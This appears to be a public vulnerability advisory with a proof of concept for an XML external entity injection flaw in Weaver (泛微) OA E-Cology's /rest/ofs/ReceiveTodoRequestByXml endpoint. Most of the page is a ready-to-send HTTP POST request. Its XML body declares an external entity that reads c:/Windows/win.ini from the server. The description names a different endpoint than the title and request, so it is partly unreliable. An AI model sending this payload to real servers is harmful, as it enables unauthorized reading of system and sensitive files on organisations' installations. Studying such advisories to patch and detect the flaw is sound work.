泛微OA E-Cology /rest/ofs/ReceiveTodoRequestByXml XML 外部实体注入漏洞

2026-01-30 泛微OA E-Cology PoC Public

Description

泛微e-cology是一款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能管理和移动办公。泛微e-cology系统接口 /rest/ofs/deleteRequestInfoByXml 存在XXE漏洞

PoC

POST /rest/ofs/ReceiveTodoRequestByXml HTTP/1.1
Host: 
Content-Type: application/xml
Content-Length: 569
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 skyeye-scanner
Cookie: JSESSIONID=1596D16691A3C7B7587E2064A18BC201; ASP.NET_SessionId=phs2t2yisvhzjfbfiqkaprxp; show_vpn=0
Accept-Encoding: gzip

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ENTITY test SYSTEM "file:///c://Windows//win.ini">
]>
<OtherFlowData>
  <syscode>&test;</syscode>
  <flovid>2</flovid>
  <reauestname>标题名称TEST</reauestname>
  <sworkf1owname>流程类型测试用</sworkf1owname>
  <nodename>节点名称</nodename>
  <pcur1>/test.jsp</pcur1>
  <appurl></appurl>
  <viewtype>1</viewtype>
  <creator>ofs01</creator>
  <createdatetime>2018-01-20 01:43:43</createdatetime>
  <receiver>ofs02</receiver>
  <receivedatetime>2024-01-20 01:43:43</receivedatetime>
</OtherFlowData>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Fanwei OA E-Cology /rest/ofs/ReceiveTodoRequestByXml XML External Entity Injection Vulnerability

References

Related Vulnerabilities